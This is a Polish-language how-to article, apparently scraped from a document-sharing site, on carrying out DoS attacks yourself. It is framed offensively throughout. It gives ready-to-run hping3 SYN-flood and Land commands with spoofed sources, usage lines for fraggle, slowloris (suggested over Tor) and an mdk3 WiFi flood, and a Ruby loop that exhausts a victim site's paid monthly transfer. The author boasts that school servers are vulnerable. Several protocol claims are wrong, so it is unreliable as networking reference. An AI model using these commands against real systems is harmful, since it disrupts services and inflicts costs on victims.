Jak wykonać atak DoS samodzielnie

background image

Jak wykonać atak DoS
samodzielnie?

Postanowiłem zebrać znane mi rodzaje ataków DDoS w jedno miejscowe,
pokrótce opisać każdy z nich.
Wszyscy powinniśmy wiedzieć czym są ataki DDoS oraz posiadać
podstawowe wiadomości na temat działania połączeń sieciowych i
podstawy działania podstawowych protokołów i stosu TCP/IP, więc
pomijając wstęp i definicję, jeśli ktoś nie wie, odsyłam do wiki:

DDoS
DoS.

Ping of death

To chyba najłatwiejszy do wykonania, a zarazem najmniej skomplikowany
atak DDoS, a może da się go określić też jako remote buffer overflow(?),
ponieważ systemy atakowane zawieszały się lub restartowały.
Standardy stosu TCP/IP dokładnie określają wielkości w bajtach danych
pakietów, (nie)stety, programiści przeoczyli te wielkości pisząc sockety lata
temu. Pakiet IMPC echo request może mieć maksymalną wielkość 65536
bajtów, wysyłając pakiet o większy niż 65526 bajtów, system atakowany
umierał. Dlatego obecne systemy, mają określoną maksymalną wielkość
pakietu ICMP:

background image

Teardrop

Żeby zrozumieć ten atak, trzeba wytłumaczyć działanie segmentacji
pakietów IP.
Pakiet IP ma w sobie takie magiczne pole “offset field” zawiera ono jakąś
liczbę.
Gdy pakiet jest wysyłany i przechodzi przez bramę sieci, jednak wielkość
pakietu jest większa niż maksymalna wielkość pakietu, który może zostać
przepuszczony przez bramkę, zostaje on podzielony na części, np. Gdy
pakiet ma 80kb (wielkość fikcyjna), bramka może przepuścić max.
wielkość pakietu dajmy 33kb. Ten pakiet zostaje podzielony na 3 części.
Każda kolejna ma chronologicznie ustawioną wartość w polu offset field
pierwszy pakiet – 1, drugi pakiet – 2, trzeci pakiet – 3. Proste. Odbiorca
odbiera te trzy pakiety pakiety, składa je kolejno do siebie i otrzymuje
jakąś wiadomość.
Atak teardrop polegał na wykorzystaniu nieprawidłowego składania
pakietów w całość, poprzez wysyłanie do ofiary pakietów z offset field z
liczbami nakładającymi się.
Pierwszy pakiet OF=1, drugi pakiet OF=2, trzeci pakiet OF=1, czwarty
pakiet OF=1, w tym momencie system ofiary wariuje, jedno wielkie WTF.
System padał, zawieszał sie, restartował, zamykał wszystkie połączenia.
Atak ten zaliczam do historycznych, chociaż system m$ vista na ten atak
był nadal podatny jeszcze w 2009 roku, na protokole SMB2.

SYN-FLOOD

Połączenie według standardów TCP/IP nawiązuje się w trzech krokach:

1. Klient odpytuje serwer o aktywność – wysłanie pakietu z flagą SYN.
2. Serwer jeśli odbierze pakiet SYN i nie jest leniwy i chce na ten SYN

odpowiedzieć, odsyła SYN-ACK.

3. Gdy już klient wie, że może pogadać z serwerem wysyła do serwera

pakiety z danymi, usuwa flagę SYN, zostawia tylko ACK.
Wykonanie tych trzech kroków tworzy połączenie klient-serwer. Psikus!
Serwer musi odpowiedzieć pakietem z flagą albo SYN-ACK albo RST! Czyli
ofiara musi odesłać pakiet, który waży klika kilobajtów. Jest to typowy atak
DDoS, sam DoS byłyby nieskuteczny, chyba, że dysponujemy większą

background image

przepustowością łącza niż ofiara, dlatego atak, nie ma szans powodzenia,
jako atak DoS. Gdy serwer musi odpowiedzieć na pakiet z flagą SYN,
pakietem z RST albo SYN-ACK, traci swoją przepustowość na upload i
download. Sewery przechowują dane klienta, od którego nadszedł pakiet z
SYN, dopóki otrzymają pakiet z flagą ACK… niech sobie czekają…
Prawdziwi klienci, którzy chcą się połączyć z serwerem nie mogą, gdyż
łącze jest zajęte.

Land

Nie mam pojęcia skąd taka nazwa tego ataku. Sam atak niewiele różni się
od ataku SYN-Flood, a różni się adresem źródłowym pakietu z flagą SYN.
Najlepiej, żeby ten adres był sfałszowany, na adres… ofiary? No niech
będzie. Uprośćmy budowę pakietu ze stosu TCP/IP:

-----------------------------------------------------------

|

r ó d o w y a d r e s I P | f l a g a | warto

TTL |

ź

ł

ść

-----------------------------------------------------------

background image

127.0.0.1 –

IP ofiary, prawie całkiem przypadkowy adres.

SYN – flaga
wartość TTL – nie będziemy szaleli, ok. 20 przeważnie trzeba, żeby pakiet
dostał się do ofiary, to damy 9000000 żeby tyle okrążeń z karty sieciowej
ofiary do gniazda systemowego ofiary pakiet zrobił.
Pakiet jest wysyłany z komputera… nie zgadniecie. Agresora. Nieważne
jest IP Agresora, i tak zostanie spreparowane.
Odpowiednio spreparowany do ataku Land pakiet wygląda tak:

----------------------------

| 127.0.0.1|

SYN | 9000000 |

----------------------------

Ofiara otrzymuje taki pakiet. I co robi? Wysyła odpowiedź z flagą SYN-ACK
albo RST na adres źródłowy, czyli wysyła pakiet do siebie samego
osobiście. Głupi serwer odpowie do siebie samego SYN-ACK i otworzy
połączenie z localhostem, takie połączenie będzie aktywne, tak długo aż
wygaśnie czyli paręset sekund, wartość ustawiana przez administratora,
gorzej dzieje się gdy serwer ma ograniczoną ilość połączeń jednocześnie
np. Do 300, albowiem na łączu 128kbps można wysłać z 50 takich
pakietów na sekundę.

Smurf

Mój ulubiony atak, ze względu na to, że serwery w szkole są na niego
podatne :>
Ot nie sztuką jest floodować

adres broadcast.

Zwany też atakiem siłowym, bo jest silniejszy niż słaby adres
rozgłoszeniowy.
Źle skonfigurowany router, serwer, hub, (switch już nie, bo filtruje takie
pakiety domyślnie) gdy dostanie pakiet skierowany na adres broadcast,
wykona multipkikację tego pakietu i wyśle go do wszystkich komputerów w
sieci.
Pakiet wysłany z komputera należącego do sieci lokalnej zostanie wysłany
do wszystkich komputerów w sieci lokalnej.
Pakiet wysłany z poza sieci lokalnej wysłany do sieci docelowej jest

background image

kierowny do wszystkich kart sieciowych w sieci lokalnej.
Jak wykorzystać ten atak?
Do przeprowadzenia ataku znowu będziemy potrzebowali sfałszować adres
źródłowy znowu na adres ofiary. Fałszujemy adres IP w nagłówku ICMP
echo request, wysyłamy z komputera atakującego na adres broadcast,
wszystkie komputery w sieci odpowiedzą pakietem

ICMP echo reply

na

adres ofiary :>
Systemy klasy Windows domyślnie nie odpowiadają na pakiet ICMP echo
request z adresem broadcast.
Sztuczka z odpytywaniem o adres broadcast przydatna jest także w
fingerprintingu, gdy wykonamy nmap <adres broadcast> zeskanowane
zostaną wszystkie komputery w sieci.

Naptha

Wg. mnie bezsensowny atak, no ale skoro działa…
Podobny do ataku SYN. Naptha wykorzystuje kolejną wadę standardu
TCP/IP, także z wykorzystaniem flag na pakietach. Różnicą jest to, że ofiara
odczekuje na odebranie pakietu z flagą SYN-ACK, w Nathpa od tego czy
serwer odpowie pozytywnie (SYN-ACK) czy negatywnie (RST) zależy
powodzenie ataku.
Opis teoretycznego powodzenia ataku:
Agresor prosi o połączenie z serwerem przez zapytanie z flagą SYN.

(

już prawie) ofiara odpowiada flagą SYN-ACK.

Atakujący z zadowoleniem i podnietą wysyła pakiet kończący połączenie
FIN-ACK(po polsku – już zakończmy połączenie ok?), serwer w tym
momencie odpowiada pakietem, który ma zakończyć komunikacją między
komputerami, wysyła flagę FIN (ok, ale daj mi znać czy na pewno tego
chcesz), atakujący by zakończyć połączenie powinien odpisać ACK (tak,
chcę zakończyć), ale nie odpowiada. Serwer czeka, przechodzi w stan
pasywnego oczekiwania.
Zalewanie takimi pakietami skutkuje odrzuceniem innych połączeń do
ofiary.

background image

UDP-flood

Znowu nasi kochani panowie z IEEE popsuli działanie protokołu, a może nie
popsuli tylko nie przewidzieli, że ktoś może tak to wykorzystać?
Najważniejszym elementem tego ataku jest możliwość

spoofowania

adresu

IP w pakiecie UPD echo, oraz to, że pakiet UDP echo i UDP chargen nie
mają wartości TTL.
Obrazek wyjaśnia komunikację:

Pakiety UPD echo i UDP chargen nigdy nie znikają, tworzy się nieskończona
pętla, w której tracą komputery: 192.168.1.4, 192.168.1.3 oraz switch.

Fraggle

Atak zbliżony do Smurf, różnica polega na wykorzystaniu innego protokołu
do ataku, ICMP zastępuje UDP. Różnice między UDP i ICMP zostały opisane
powyżej więc nie będę do tego wracał.
Tym razem udało mi się znaleźć program, dzięki któremu wykonamy atak,
źródło do pobrania w dziale Download.
Sposób użycia:

./

fraggle <cel> <plik z adresami broadcast> <ilosc pakietów>

background image

<opó nienie>

ź

./

fraggle 192.168.1.3 plik 90000000000000000 10

Slowloris

Atak typowy DoS, wystarczy jeden komputer z dużą ilością wolnej pamięci
RAM by unieszkodliwić spore serwery, gdy używam tego ataku zwalniam
12GB RAM, które slowloris zajmuje w ciągu ~3minut.
Skrypt tworzy wirtualne gniazda, na których wysyła niepełne zapytania do
serwera na porcie 80 (http) lub 443 (https), przedstawia się, używając user
agent FireFoxa, nawiązuje pełne połączenie TCP z serwerem ofiary, sam
atak zbliżony działaniem do SYN-flood, tutaj mamy przyjemność z HTTP-
flood.
Atak bardzo populary ze względu na jego zasięg. Podatne są nie systemy
operacyjne, przepustowość łącza lecz program odpowiadający za usługę
webserwera:

Apache 1.x

Apache 2.x

dhttpd

GoAhead WebServer

WebSense “block pages” (niepotwierdzone)

Trapeze Wireless Web Portal (niepotwierdzone)

Verizon’s MI424-WR FIOS Cable modem (niepotwierdzone)

Verizon’s Motorola Set-Top Box (niepotwierdzone)

Deny All WAF (niepotwierdzone)

BeeWare WAF (niepotwierdzone)

background image

Użycie skryptu:

perl slowloris -dns <adres ofiary IP lub url>

Dodatkową możliwością może być:
– określenie liczby klientów
– szyfrowanie połączenia (zwiększa zużycie mocy obliczeniowej serwera)
– ilość klientów stworzonych w ciągu sekundy
Od siebie dodam, że program bardzo ładnie spisuje się gdy atak jest
przeprowadzany przez trasowanie cebulowe, prościej mówiąc, gdy cały
ruch wejścia i wyjścia z komputera przechodzi przez sieć TOR.

Dokumentacja programu.

UDP Unicorn

Kolejny flooder, atakuje pakietami UDP. Program z GUI. Ma możliwość
ataku na wybrany port, wielowątkowości i multisocketownia, określenia
wielkości pakietu. Screen opisuje wszystko:
Patrząc na GUI tego programu, łatwo się domyśleć, że jest on skierowany
do script-kiddies.

background image

HPING3

Program o bardzo rozbudowanych możliwościach, od skanowania portów,
floodwania w sieciach wewnętrznych/zewnętrznych przez fingerprinting
systemów operacyjnych, sniffing, przesyłanie plików, fuzzing, traceroute,
spoofing, pfuuu….

background image

Polecenie:

$

hping3 --help

zwróci nam możliwości jakie oferuje program.

Jak możesz zauważyć dużo tego, zajmiemy się tymi, które pasują do
tematu artykułu.

$

hping3 -S 192.168.1.1 -a 192.168.1.3 -p 80 -flood

Program wyśle pod adres 192.168.1.1 pakiety z flagą SYN, podając się za
adres źródłowy 192.168.1.254 na port 80, będzie wysyłało pakiety tak
szybko jak to możliwe, bez sprawdzania czy dotarły. Jak się domyslacie jest
to atak SYN-Flood.

$

hping3 -U -P -S -A 192.168.1.1 -k -s 80 -p 80 -a 192.168.1.3

Polecenie to nic innego jak złożony atak Land, przetłumaczę to na polski:
wysyłaj pakiety z flagami URG, PUSH, SYN, ACK, na adres 192.168.1.1 z
portu 80 na port 80, podając się za adres 192.168.1.1.

$

hping3 twoja.domena -p 80 -i u30000 –udp

Zostaną wysłane pakiety UDP na port 80 pod adres twoja.domena, z
prędkością 30 pakietów na sekundę.
Jak widać kombinacji użycia programu jest bardzo dużo, często ograniczać
nas może wiedza na temat stosu TCP/IP, działania sieci czy wyobraźnia.

background image

Low Orbit Ion Cannon

LOIC

Pozwala atakować używając trzech dział:

TCP

HTTP

UDP
wysyłając pakiety zawierające wiadomość w ASCII, domyślnie A cat is fine

too. Desudesudesu.
W GUI programu oznaczamy miejsce ataku, wybieramy przycisk obok, by
zdobyć adres IP ofiary, wybieramy ilość wątków, port docelowy, delay z
jakimi wysyłane są pakiety i czy program ma floodować (czekać na
odpowiedź od serwera czy nie).

Aplikacja bardzo chętnie jest używana przez grupy anonymous /b/,

background image

najczęściej w celu ataku na agencje typu RIAA, Aiplex. Program dostępny
też w Javie w dziale Download, do pobrania w celach edukacyjnych.

Niekonwencjonalny atak

Ataki DDoS to nie tylko zapychanie łącza u ofiary, może także narażać
ofiarę na koszty finansowe, także niekoniecznie przez zatrudnianie
administratorów. Możliwym na polskie realia jest atak polegający na
wyczerpaniu transferu miesięcznego na stronie www osoby prywatnej lub
ofiary. Otóż, niektórzy usługodawcy serwera www w zawartej umowie
posiadają punkt, coś w rodzaju:
masz 3GB miesięcznie, a jak przekroczysz ten limit to:

musisz zapłacić za transfer przyszło-miesięczny inaczej Twoja strona nie
będzie odblokowana

operator od razu nalicza kwotą karną, np. 50zł za każdy kolejny 1GB

automatycznie do rachunku doliczana jest kwota za opłatę za przyszły
miesiąc (zmienia się termin rozpoczęcia nowego miesiąca, czyli rachunek
przyjdzie wcześniej).
Poniższy skrypt, w nieskończoność będzie pobierał element, najlepiej, żeby
był to obrazek ze strony internetowej ofiary, gdyż będzie się pobierał
najszybciej:

#!/

usr/bin/ruby

require

'net/http'

@

strona

=

'ADRES'

#www.ofiara.pl

@

element

=

'RESZTA LINKU'

#/logo.gif

while

(

1

)

Net::HTTP

.

start

(

@strona

)

do

|

http

|

req =

Net::HTTP::Get

.

new

(

@element

)

puts

'Ook!'

if

(

http.

request

(

req

)

.

body

)

end

end

WiFi DoS MDK3

Program mdk3 jest dość ciekawym projektem, ma spore możliwości, jest
znacznie łatwiejszy w obsłudze niż zestaw aircrack-ng, mdk3 ma m in.
możliwość de-autoryzacji wszystkich kart sieciowych w zasięgu, ze
wszystkich AP w zasięgu, ataku brute-force na sieci z ukrytym BSSID,
tworzenia dużej ilości nieistniejących AP, wysyłania dużej ilości pakietów w
eter, kierowania ich do jednego AP, który jest atakowany, by spowolnić

background image

jego działanie lub zamrozić na pewien czas, co właśnie chcę pokazać.
Aby program włączyć, trzeba być na koncie o prawach roota, oraz
przełączyć kartę z WLAN w tryb monitor, robimy to za pomocą airmon-ng:

airmon-ng start <interface>

utworzy się nowy wirtualny interface – mon0, to właśnie z niego
przeprowadza się ataki.

Poleceniem mdk3 mon0 <opcja>

Skupiamy się na opcji floodowania pakietami pobliskich AP, dlatego
polecenie będzie wyglądało tak:

mdk3 mon0 a

co do poniższy wynik:

po lewej działanie programu mdk3, po prawej chwytanie pakietów przez
airodump-ng.
Każda opcja w programie mdk3 ma swoje dodatkowe możliwości, dla opcji
a są to:

-

a skoncentruj si na tym AP, podajemy adres MAC ofiary

ę

-

a 00:11:22:33:44:55

-

m u yj adresów MAC z pliku <plik>

ż

-

c nie sprawdzaj czy po

czenie si powiod o

łą

ę

ł

-

i

czy klienta z AP i utrzymuje po

czenie wstrzykuj c

łą

łą

ą

background image

zesniffowane pakiety (w tym wypadku opcje -a oraz -c s

ą

ignorowane)

-

i 00:11:22:33:44:55

-s liczba pakietów wysyłanych na sekundę, domyślnie nieograniczone
-s 900
Aby użyć ataku wraz z dodatkową opcją:
mdk3 mon0 a -i 00:04:ED:A3:80:11 -s 900

To polecenie zawiesza mój router w mniej niż 2 sekundy

Jak widać powyżej do opcji “głównej” nie podajemy przez literą minusa,
przy opcji dodatkowej tak.
Jeśli chcesz dowiedzieć się jakie są możliwości obrony przed DDoS,
zapraszam do

artykułu sekuraka

.


Document Outline


Wyszukiwarka

Podobne podstrony:
Jak wykonać atak DoS samodzielnie
MAMO i babciu, Księga życzeń--zrób sam, instrukcja-jak wykonać
Jak wykonać szyk komponentów po lini śrubowej
jak wykonać raport po sprawdzianie
Jak wykonać decoupage, cooooooooooooos
Jak wykonać masaż antycellulitowy
Jak wykonać kable połączeniowe
Jak wykryć atak czarnego PR
Jak wykonać tęczowy makijaż Gucci, Makijaż i pielęgnacja
Jak wykonać wstążkową bombkę
Jak wykonać izolację ścian budowanego domu
Mini poradnik Jak wykonac udane zdjecia wakacyjne
jak wykonac sortowanie przez zamiane wymiane wybor algorytm selection sort, PHP Skrypty
Sprawozdania grafy, Jak wykonac sprawozdanie
145 Jak wykonac prace w dwa razy krotszym czasie, Linux, płyty dvd, inne dvd, 1, Doradca Menedzera
Jak wykonać kapelusz
Jak wykonać różę z bibuły
Jak wykonać obsługę stosu (First In, PHP Skrypty
jak wykonać bukiet kwiatów z bibuły

więcej podobnych podstron